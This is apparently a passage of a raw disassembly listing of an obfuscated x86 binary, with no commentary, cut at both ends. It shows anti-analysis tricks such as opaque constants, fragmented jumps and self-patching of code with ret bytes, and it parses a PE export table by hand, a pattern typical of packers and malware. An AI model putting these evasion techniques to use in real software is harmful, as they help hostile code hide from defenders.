xchg eax, [esp] call sub_438E86 jmp loc_4479E2 ; --------------------------------------------------------------------------- loc_44A6A7: ; CODE XREF: y22d6.y.:00437D15j jge loc_4434FA sbb eax, edx sub ecx, 0F2B42D77h jmp loc_445F2C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B1D2 loc_44A6BA: ; CODE XREF: sub_44B1D2-AA74j add ebx, 64BE3A84h rol ebx, 1Dh add ebx, 0CED73C2h test ebx, 8000h jmp loc_43D26E ; END OF FUNCTION CHUNK FOR sub_44B1D2 ; --------------------------------------------------------------------------- jz loc_438D65 jno loc_4370B8 jmp sub_44C7B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44CAD8 loc_44A6E5: ; CODE XREF: sub_44CAD8+13j push offset loc_43F998 jmp nullsub_321 ; END OF FUNCTION CHUNK FOR sub_44CAD8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E5C2 loc_44A6EF: ; CODE XREF: sub_43E5C2+6036j cdq loc_44A6F0: ; CODE XREF: sub_43E5C2:loc_43AA5Dj push 27A06466h pop eax sub eax, ds:4000E0h and eax, 0C5C06F9h jmp loc_43CB4B ; END OF FUNCTION CHUNK FOR sub_43E5C2 ; --------------------------------------------------------------------------- sbb ecx, edx jmp loc_44027E ; --------------------------------------------------------------------------- loc_44A70E: ; DATA XREF: sub_446188+1o push 0C89D8E95h pop eax or eax, ds:4000E9h add eax, 3585C5E5h xchg eax, [esp] jmp sub_43B58F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43CBF3 loc_44A728: ; CODE XREF: sub_43CBF3:loc_43C21Fj pop ebp xchg ebp, [esp+4+var_4] push ebx push 4A82B82h pop ebx jmp loc_43D74B ; END OF FUNCTION CHUNK FOR sub_43CBF3 ; --------------------------------------------------------------------------- locret_44A738: ; CODE XREF: y22d6.y.:loc_4484B7j retn ; --------------------------------------------------------------------------- push offset sub_4480FC jmp locret_44AFDA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444541 loc_44A743: ; CODE XREF: sub_444541+3549j xchg esi, [esp+0] call sub_442C0C mov eax, 469EF90Dh push ecx loc_44A751: ; CODE XREF: sub_445362:loc_4479B3j push 0F1A59BB2h pop ecx xor ecx, ds:4000EAh add ecx, 0AC59EDBDh jmp loc_438F08 ; END OF FUNCTION CHUNK FOR sub_444541 ; =============== S U B R O U T I N E ======================================= sub_44A768 proc near ; CODE XREF: sub_44643Bj ; DATA XREF: sub_446425+Co ; FUNCTION CHUNK AT 00445713 SIZE 00000005 BYTES mov eax, [esp+0] call sub_4476DE loc_44A770: ; CODE XREF: sub_44C222-51ACj lea eax, nullsub_1 loc_44A776: ; CODE XREF: sub_437901:loc_446DF9j mov byte ptr [eax], 0C3h jmp loc_445713 sub_44A768 endp ; =============== S U B R O U T I N E ======================================= sub_44A77E proc near ; CODE XREF: sub_416BBA+11Dp ; sub_44A77E+5j ; DATA XREF: ... call sub_44A793 jmp ds:off_41E0FC sub_44A77E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_44A789: ; CODE XREF: sub_4432B8+7E28j jmp nullsub_218 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- loc_44A78E: ; CODE XREF: y22d6.y.:0043E66Ej jmp loc_44C9E0 ; =============== S U B R O U T I N E ======================================= sub_44A793 proc near ; CODE XREF: sub_440280:loc_43912Ej ; sub_44A77Ep ... arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0044B8AA SIZE 0000000E BYTES pop edx jnz loc_44B8AA call sub_44825F loc_44A79F: ; CODE XREF: sub_43F9E0+1321j jmp nullsub_154 sub_44A793 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_44A7A4: ; CODE XREF: y22d6.y.:0043CDDDj jmp loc_44145D ; =============== S U B R O U T I N E ======================================= sub_44A7A9 proc near ; CODE XREF: sub_43AEAA+19j ; sub_43AFCD+15j ; FUNCTION CHUNK AT 004415B3 SIZE 00000009 BYTES push ebx push 4FFE432Ch pop ebx and ebx, ds:4000E3h add ebx, 32A912DEh and ebx, 0E0A81C7Eh add ebx, 0F559C920h jmp loc_4415B3 sub_44A7A9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_44A7CD: ; CODE XREF: sub_448EB6-16E0j and ecx, 0B53DB9F5h adc eax, 9373C145h jmp loc_448B59 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F750 loc_44A7DE: ; CODE XREF: sub_43C55B+3374j ; sub_44A095-657Bj ... jmp loc_4435BE ; END OF FUNCTION CHUNK FOR sub_43F750 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44A095 loc_44A7E3: ; CODE XREF: sub_44A095+7j ; y22d6.y.:0044D5A6j xchg edi, [esp+0] mov ecx, edi pop edi jmp loc_449EBE ; END OF FUNCTION CHUNK FOR sub_44A095 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_447268 loc_44A7EE: ; CODE XREF: sub_447268+BC8j mov eax, edi jmp loc_438C96 ; END OF FUNCTION CHUNK FOR sub_447268 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438B66 loc_44A7F5: ; CODE XREF: sub_438B66+F7F7j ; sub_438B66+129E2j mov eax, [ebp-20h] push esi push offset loc_43CF8B jmp loc_442568 ; END OF FUNCTION CHUNK FOR sub_438B66 ; --------------------------------------------------------------------------- sbb ebp, 414DD483h jmp sub_439A90 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44371A loc_44A80E: ; CODE XREF: sub_44371A+24BCj jz loc_43A44C jmp loc_449C58 ; END OF FUNCTION CHUNK FOR sub_44371A ; --------------------------------------------------------------------------- loc_44A819: ; CODE XREF: y22d6.y.:loc_44BA59j or edi, 0B0FE77EEh jnb loc_43CA58 sub eax, ecx jmp loc_44405B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B201 loc_44A82C: ; CODE XREF: sub_43B201:loc_43EF96j pop edx sub eax, 460AB70Eh or eax, 0E3694AE9h ; END OF FUNCTION CHUNK FOR sub_43B201 ; START OF FUNCTION CHUNK FOR sub_43AD2F loc_44A839: ; CODE XREF: sub_43AD2F+8C7Bj xor eax, 0E6CD7AC9h jmp loc_44D181 ; END OF FUNCTION CHUNK FOR sub_43AD2F ; --------------------------------------------------------------------------- mov eax, 1F1D4A60h call sub_43CA1A mov ds:dword_41E058, eax lea eax, nullsub_12 mov byte ptr [eax], 0C3h jmp loc_44CAD3 ; =============== S U B R O U T I N E ======================================= sub_44A862 proc near ; CODE XREF: sub_403249+288p ; sub_4088D0+AAp ... call sub_43B09B jmp ds:off_41E05C sub_44A862 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_44A86D: ; CODE XREF: sub_448EB6+2D5Fj jmp sub_438FBB ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44DF73 loc_44A872: ; CODE XREF: sub_44DF73:loc_440B3Bj add eax, 2D23B818h loc_44A878: ; DATA XREF: sub_44DF73+6o xchg eax, [esp-0Ch+arg_8] jmp loc_437A3F ; END OF FUNCTION CHUNK FOR sub_44DF73 ; --------------------------------------------------------------------------- push esi push 0F708EBECh pop esi rol esi, 1Fh ; START OF FUNCTION CHUNK FOR sub_44B17B loc_44A88A: ; CODE XREF: sub_44B17B:loc_43EF13j call sub_446FE9 ; END OF FUNCTION CHUNK FOR sub_44B17B ; START OF FUNCTION CHUNK FOR sub_440280 loc_44A88F: ; CODE XREF: sub_440280+11j imul byte ptr [edx] cmp al, 0A4h jz loc_44BA63 jmp loc_448888 ; END OF FUNCTION CHUNK FOR sub_440280 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_44A89E: ; CODE XREF: sub_448EB6:loc_4490E9j add eax, 45620955h and eax, 0FB4E91E2h push offset loc_441271 jmp loc_438A23 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BA32 loc_44A8B4: ; CODE XREF: sub_43BA32+8j pop edx rol edx, 6 test edx, 2 jmp loc_43C250 ; END OF FUNCTION CHUNK FOR sub_43BA32 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B17B loc_44A8C3: ; CODE XREF: sub_44B17B:loc_43EDF6j jl loc_441870 xchg edi, [eax] jmp loc_43A22B ; END OF FUNCTION CHUNK FOR sub_44B17B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AA69 loc_44A8D0: ; CODE XREF: sub_44AA69-4BBDj jz loc_439EEE jmp loc_44C9C1 ; END OF FUNCTION CHUNK FOR sub_44AA69 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44193A loc_44A8DB: ; CODE XREF: sub_44193A+AFC2j jnp loc_4434DB loc_44A8E1: ; CODE XREF: sub_44193A:loc_441325j call sub_43760A push 0A31C28F2h pop edx add edx, 0C659A1B7h sub edx, 80E2C739h jmp loc_44BCB8 ; END OF FUNCTION CHUNK FOR sub_44193A ; =============== S U B R O U T I N E ======================================= sub_44A8FD proc near ; CODE XREF: y22d6.y.:004485EAj ; sub_43A041:loc_44A936p ; FUNCTION CHUNK AT 0043A5DB SIZE 0000000A BYTES xchg esi, [esp+0] pop esi jns loc_43A5DB mov ecx, [ebx+3Ch] mov ecx, [ebx+ecx+78h] or ecx, ecx call sub_439932 sub_44A8FD endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_44DB81 loc_44A915: ; CODE XREF: sub_44DB81+11j jmp loc_447A69 ; END OF FUNCTION CHUNK FOR sub_44DB81 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439595 loc_44A91A: ; CODE XREF: y22d6.y.:00438865j ; sub_439595+8B4Fj add ebx, 0FF03F1D6h xchg ebx, [esp+0] jmp loc_43C387 ; END OF FUNCTION CHUNK FOR sub_439595 ; --------------------------------------------------------------------------- loc_44A928: ; CODE XREF: y22d6.y.:loc_440428j jz loc_44A936 mov ebx, [ebx+ecx] ; START OF FUNCTION CHUNK FOR sub_43A041 loc_44A931: ; CODE XREF: sub_43A041+2542j call sub_4404D1 loc_44A936: ; CODE XREF: sub_43A041+13j ; sub_43A041+2539j ... call sub_44A8FD loc_44A93B: ; CODE XREF: y22d6.y.:00447142j jb loc_44C1BB pushf jmp loc_43AE24 ; END OF FUNCTION CHUNK FOR sub_43A041 ; =============== S U B R O U T I N E ======================================= sub_44A947 proc near ; DATA XREF: y22d6.y.:0044B7E7o push edx call sub_4397E6 mov eax, 22143682h call sub_43CA1A jmp loc_4372E4 sub_44A947 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B17B loc_44A95C: ; CODE XREF: sub_44B17B:loc_437111j jnz loc_440C73 loc_44A962: ; CODE XREF: sub_43B7D4+A61Bj sbb esi, 0F398B27Ch push ecx test edi, esi jmp loc_440C6D ; END OF FUNCTION CHUNK FOR sub_44B17B ; --------------------------------------------------------------------------- loc_44A970: ; CODE XREF: y22d6.y.:004403F9j xchg edx, [esp] pop edx mov edx, ds:dword_44DD6C or edx, edx jnz loc_438C42 jmp loc_439F3C ; --------------------------------------------------------------------------- loc_44A987: ; CODE XREF: y22d6.y.:0043707Cj cmp ecx, esi jmp loc_446E6E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F501 loc_44A98E: ; CODE XREF: sub_43F501:loc_439F84j jge loc_447DF8 loc_44A994: ; CODE XREF: sub_44D371+Ej jmp loc_448E5F ; END OF FUNCTION CHUNK FOR sub_43F501 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44D534 loc_44A999: ; CODE XREF: sub_44D534-580Dj jmp nullsub_297 ; END OF FUNCTION CHUNK FOR sub_44D534 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448C77 loc_44A99E: ; CODE XREF: sub_448C77-1888j jmp sub_44A413 ; END OF FUNCTION CHUNK FOR sub_448C77 ; --------------------------------------------------------------------------- loc_44A9A3: ; CODE XREF: y22d6.y.:00445CC7j jmp loc_443ED1 ; --------------------------------------------------------------------------- loc_44A9A8: ; CODE XREF: y22d6.y.:0043A807j jmp locret_448013 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439595 loc_44A9AD: ; CODE XREF: sub_439595+3j jmp loc_44D9D7 ; END OF FUNCTION CHUNK FOR sub_439595 ; --------------------------------------------------------------------------- sbb ebp, 17AFA0FEh jmp loc_447DF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F750 loc_44A9BD: ; CODE XREF: sub_43F750+BED4j jb loc_445905 rol edi, 4 jmp loc_4445D9 ; END OF FUNCTION CHUNK FOR sub_43F750 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437680 loc_44A9CB: ; CODE XREF: sub_437680+1707j xor [ebp-0Ah], al inc dword ptr [ebp-8] inc dword ptr [ebp-4] jmp loc_449096 ; END OF FUNCTION CHUNK FOR sub_437680 ; =============== S U B R O U T I N E ======================================= sub_44A9D9 proc near ; CODE XREF: sub_448EB6:loc_44908Ep mov eax, 0E0h retn sub_44A9D9 endp ; =============== S U B R O U T I N E ======================================= sub_44A9DF proc near ; CODE XREF: y22d6.y.:loc_4380F5p ; sub_44798E-C24Aj ... ; FUNCTION CHUNK AT 00440B91 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044E507 SIZE 0000000A BYTES jb sub_444183 jmp loc_440B91 sub_44A9DF endp ; --------------------------------------------------------------------------- mov eax, [esp] call sub_44055E ; =============== S U B R O U T I N E ======================================= sub_44A9F2 proc near ; CODE XREF: y22d6.y.:0044B102j ; y22d6.y.:0044D4DDp xchg esi, [esp+0] pop esi push 3353F575h pop esi jmp loc_43D68C sub_44A9F2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_44AA01 proc near ; DATA XREF: y22d6.y.:004489DDo push ebx push 1D01DBFCh pop ebx add ebx, 597C23A5h sub_44AA01 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_448C77 loc_44AA0E: ; CODE XREF: sub_448C77:loc_4382BCj cmp ebx, 0E749889Bh jmp loc_43D782 ; END OF FUNCTION CHUNK FOR sub_448C77 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B09B loc_44AA19: ; CODE XREF: sub_43B09B+8624j and ecx, 0F4D7CD6Bh sub ecx, 42EAB696h add ecx, 0D317497Ah mov [ecx], eax pop ecx call sub_44C7B2 loc_44AA33: ; CODE XREF: sub_43B09B+3819j add ecx, 44AE8759h mov [ecx], eax pop ecx lea eax, sub_43B09B jmp loc_438A4B ; END OF FUNCTION CHUNK FOR sub_43B09B ; --------------------------------------------------------------------------- loc_44AA47: ; CODE XREF: y22d6.y.:00449D80j and edx, ebx ; =============== S U B R O U T I N E ======================================= sub_44AA49 proc near ; CODE XREF: sub_442EA9p xchg ecx, [esp+0] pop ecx call sub_44AA5D jmp ds:off_41E064 sub_44AA49 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437B43 loc_44AA58: ; CODE XREF: sub_437B43+4FC1j jmp loc_43F4B0 ; END OF FUNCTION CHUNK FOR sub_437B43 ; =============== S U B R O U T I N E ======================================= sub_44AA5D proc near ; CODE XREF: sub_4432B8-1C86j ; y22d6.y.:0044A284j ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0044007C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00442496 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00442648 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00448034 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00449D85 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0044A289 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0044D04C SIZE 00000017 BYTES pop edx jb loc_44A289 jmp loc_448034 sub_44AA5D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_44AA69 proc near ; DATA XREF: sub_43ED31-6DF6o var_C = dword ptr -0Ch var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00437697 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 004389C7 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00439479 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00439EE2 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0043D312 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00443134 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 004443D9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00445E9E SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00445F4C SIZE 00000013 BYTES ; FUNCTION CHUNK AT 004494C3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044A8D0 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044AA87 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044AE6F SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0044B2AE SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0044C9C1 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0044D42C SIZE 00000005 BYTES push 0F46F5551h pop ebx sub ebx, 22C99A8Bh or ebx, 0BF105862h add ebx, 8DF218h jmp loc_4443D9 sub_44AA69 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_26. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AA69 loc_44AA87: ; CODE XREF: sub_44AA69:loc_44AE74j jmp nullsub_249 ; END OF FUNCTION CHUNK FOR sub_44AA69 ; --------------------------------------------------------------------------- locret_44AA8C: ; CODE XREF: y22d6.y.:loc_44DF29j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44A359 loc_44AA8D: ; CODE XREF: sub_44A359+6j jmp loc_439EF9 ; END OF FUNCTION CHUNK FOR sub_44A359 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438F17 loc_44AA92: ; CODE XREF: sub_438F17+F6C8j jmp nullsub_158 ; END OF FUNCTION CHUNK FOR sub_438F17 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B489 loc_44AA97: ; CODE XREF: sub_44B489:loc_43FF81j pop edx xor edx, 0D5695F80h add edx, 1AA1DF23h or edx, 0DC45EC90h add edx, 33437473h xor edx, 4ECECA06h jmp loc_438833 ; END OF FUNCTION CHUNK FOR sub_44B489 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E037 loc_44AABB: ; CODE XREF: sub_43E037:loc_44D26Dj mov eax, [esp+0] push edx call sub_44A413 push offset sub_43BDD3 jmp loc_43C7AA ; END OF FUNCTION CHUNK FOR sub_43E037 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_44AACE: ; CODE XREF: sub_448EB6-4593j add eax, 0B029A83h mov ebp, 4095A1EFh jmp loc_438621 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44CDB7 loc_44AADE: ; CODE XREF: sub_44CDB7-B497j jo loc_43CD40 sub al, 99h call sub_43ED4E ; END OF FUNCTION CHUNK FOR sub_44CDB7 ; START OF FUNCTION CHUNK FOR sub_445C50 loc_44AAEB: ; CODE XREF: sub_445C50-3B34j mov eax, [esp+0] call sub_4480DE retn ; END OF FUNCTION CHUNK FOR sub_445C50 ; --------------------------------------------------------------------------- loc_44AAF4: ; CODE XREF: y22d6.y.:loc_43AADFj xor eax, 6A9A8C7Bh add eax, 0ADA22368h xor eax, 4A70CD9Fh ror eax, 16h mov edx, [esp] jmp loc_43B7FC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43CA1A loc_44AB11: ; CODE XREF: sub_43CA1A+215Cj js loc_44CD85 ; END OF FUNCTION CHUNK FOR sub_43CA1A ; START OF FUNCTION CHUNK FOR sub_44BBBA loc_44AB17: ; CODE XREF: sub_43CA1A:loc_441FFFj ; sub_44BBBA:loc_44A499j jnb loc_43AA86 lea eax, [ebp-12Dh] push eax call sub_44A9DF mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jmp loc_44B966 ; END OF FUNCTION CHUNK FOR sub_44BBBA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4431CD loc_44AB35: ; CODE XREF: sub_4431CD-5597j sub ecx, 0EBC4692Dh mov ecx, 4D90384h loc_44AB40: ; CODE XREF: sub_43D5BB:loc_44D898j xor ebx, 23271FE2h rol ebx, 1Bh add ebx, 8ED01668h call sub_44850D loc_44AB54: ; CODE XREF: y22d6.y.:0044B510j jmp loc_442502 ; END OF FUNCTION CHUNK FOR sub_4431CD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_44AB59: ; CODE XREF: sub_4432B8:loc_4474A8j ; y22d6.y.:004474B8j add esi, 98AD90B9h add esi, ebp add esi, 0FBE64364h mov [esi], eax pop esi jmp loc_44E149 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AEDA loc_44AB6F: ; CODE XREF: sub_44AEDA-C51Ej ; sub_44AEDA-6DEBj mov eax, [ebp-24h] mov eax, [eax+4] push ebx jmp loc_43CE99 ; END OF FUNCTION CHUNK FOR sub_44AEDA ; =============== S U B R O U T I N E ======================================= sub_44AB7B proc near ; CODE XREF: sub_43946E+B53p ; y22d6.y.:00446131j ; FUNCTION CHUNK AT 00442308 SIZE 00000012 BYTES xchg eax, [esp+0] pop eax nop mov eax, 23829242h push ecx jmp loc_442308 sub_44AB7B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_442266 loc_44AB8B: ; CODE XREF: sub_442266:loc_43DE80j mov eax, [ebp+arg_0] cmp dword ptr [eax-4], 4 jnz loc_44ABA1 add [ebp+var_8], 4 jmp loc_440B36 ; --------------------------------------------------------------------------- loc_44ABA1: ; CODE XREF: sub_442266+892Cj add [ebp+var_8], 2 jmp loc_43DE89 ; END OF FUNCTION CHUNK FOR sub_442266 ; =============== S U B R O U T I N E ======================================= sub_44ABAA proc near ; CODE XREF: y22d6.y.:loc_44960Ep ; sub_44CB3F-3518p ; FUNCTION CHUNK AT 004400AF SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00440488 SIZE 00000005 BYTES push ebp jmp loc_440488 sub_44ABAA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_44ABB0 proc near ; CODE XREF: y22d6.y.:0043EA78p ; y22d6.y.:0043FE18j arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0044A57F SIZE 0000000C BYTES xchg esi, [esp+0] pop esi pop edx mov eax, [esp-8+arg_4] push ebx jmp loc_44A57F sub_44ABB0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44271A loc_44ABBE: ; CODE XREF: sub_44271A+736Cj jz loc_447B95 jmp loc_43FBA3 ; END OF FUNCTION CHUNK FOR sub_44271A ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44ABC9 proc near ; CODE XREF: y22d6.y.:00437C16p ; sub_43CBF3+134Fj ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx loc_44ABCD: ; CODE XREF: y22d6.y.:loc_438BE6j mov [ebp+var_4], eax push offset loc_4493B0 jmp nullsub_159 sub_44ABC9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438B39 loc_44ABDA: ; CODE XREF: sub_438B39+9j ; sub_437B43+4FBBj ... pop ecx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_438B39 ; =============== S U B R O U T I N E ======================================= sub_44ABDD proc near ; CODE XREF: y22d6.y.:loc_442F17j ; sub_4449FA:loc_44394Aj ... ; FUNCTION CHUNK AT 004395A5 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0043A419 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043FC0F SIZE 00000005 BYTES push ecx jmp loc_43FC0F sub_44ABDD endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_44ABE3: ; CODE XREF: sub_4432B8+11CBj cmp edi, 88330571h jmp loc_442326 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- jmp ds:off_41E0A8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_446F34 loc_44ABF4: ; CODE XREF: sub_446F34-BB55j ; sub_447896:loc_44658Ej ... jnz loc_44ADB0 pop edx mov eax, [esp+0] push edx call sub_4463CE push 0DB331DB7h pop eax jmp loc_441D67 ; END OF FUNCTION CHUNK FOR sub_446F34 ; =============== S U B R O U T I N E ======================================= sub_44AC0F proc near ; CODE XREF: y22d6.y.:004425ABj ; y22d6.y.:00448894j ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004390B3 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0043C4BB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00442B56 SIZE 00000005 BYTES xchg eax, [esp+0] loc_44AC12: ; CODE XREF: y22d6.y.:loc_43A1B6j pop eax push esi mov esi, edx xchg esi, [esp+0] push edi jmp loc_442B56 sub_44AC0F endp ; --------------------------------------------------------------------------- adc ebp, esi jmp loc_446FE4 ; --------------------------------------------------------------------------- loc_44AC26: ; CODE XREF: y22d6.y.:0043B331j shl edi, 13h add edi, 3AA6B45Ah ; START OF FUNCTION CHUNK FOR sub_44B81B loc_44AC2F: ; CODE XREF: sub_44B81B:loc_43B323j add eax, 0DAF79D32h xchg eax, [esp-4+arg_0] jmp sub_44D088 ; END OF FUNCTION CHUNK FOR sub_44B81B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B09B loc_44AC3D: ; CODE XREF: sub_43B09B+568Dj jge loc_4441F7 ; END OF FUNCTION CHUNK FOR sub_43B09B ; START OF FUNCTION CHUNK FOR sub_437B43 loc_44AC43: ; CODE XREF: sub_437B43+5641j jmp loc_43A1D3 ; END OF FUNCTION CHUNK FOR sub_437B43 ; --------------------------------------------------------------------------- add esi, eax test ebx, edi jmp loc_437F80 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44C980 loc_44AC51: ; CODE XREF: sub_44C980+E8Bj call sub_44AC0F loc_44AC56: ; CODE XREF: y22d6.y.:004416EEj jmp loc_44CA07 ; END OF FUNCTION CHUNK FOR sub_44C980 ; --------------------------------------------------------------------------- loc_44AC5B: ; CODE XREF: y22d6.y.:0043BB41j jo loc_4473CB ; =============== S U B R O U T I N E ======================================= sub_44AC61 proc near ; CODE XREF: y22d6.y.:0044CAC9p ; FUNCTION CHUNK AT 004377D1 SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx mov ds:off_41E0F4, eax lea eax, loc_4450EC mov byte ptr [eax], 0C3h jmp loc_4377D1 sub_44AC61 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43946E loc_44AC79: ; CODE XREF: sub_43946E:loc_439FB7j call sub_448C36 loc_44AC7E: ; CODE XREF: sub_444541+90A9j jmp sub_442C0C ; END OF FUNCTION CHUNK FOR sub_43946E ; --------------------------------------------------------------------------- loc_44AC83: ; CODE XREF: y22d6.y.:00438A62j jmp loc_445FA4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B489 loc_44AC88: ; CODE XREF: sub_44B489-FFDj jz loc_44A44D jmp loc_447091 ; END OF FUNCTION CHUNK FOR sub_44B489 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44271A loc_44AC93: ; CODE XREF: sub_44271A:loc_43D76Aj ja loc_446EE0 jmp loc_445A5A ; END OF FUNCTION CHUNK FOR sub_44271A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438A94 loc_44AC9E: ; CODE XREF: sub_438A94:loc_4473DBj xchg eax, [esp+4+var_4] push esi push 16DDB0D8h pop esi or esi, 9AFE53DFh sub esi, 0ABB96D78h add esi, 0CFDACBCh loc_44ACBA: ; CODE XREF: y22d6.y.:loc_438856j xchg esi, [esp+8+var_8] jmp loc_44E631 ; END OF FUNCTION CHUNK FOR sub_438A94 ; --------------------------------------------------------------------------- jno loc_440404 jmp loc_44A4A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43CBF3 loc_44ACCD: ; CODE XREF: sub_43CBF3:loc_43D74Bj rol ebx, 11h xor ebx, 0E7174E67h cmp ebx, 93254629h jmp loc_438F6E ; END OF FUNCTION CHUNK FOR sub_43CBF3 ; --------------------------------------------------------------------------- mov [esi], eax jmp sub_43A1FA ; --------------------------------------------------------------------------- loc_44ACE8: ; CODE XREF: y22d6.y.:004412A3j add esi, ebp ; =============== S U B R O U T I N E ======================================= sub_44ACEA proc near ; CODE XREF: sub_43B7B5:loc_4425C6p ; FUNCTION CHUNK AT 004431ED SIZE 00000012 BYTES xchg edi, [esp+0] pop edi xor edx, 26C9847Bh jmp loc_4431ED sub_44ACEA endp ; sp-analysis failed ; [00000001 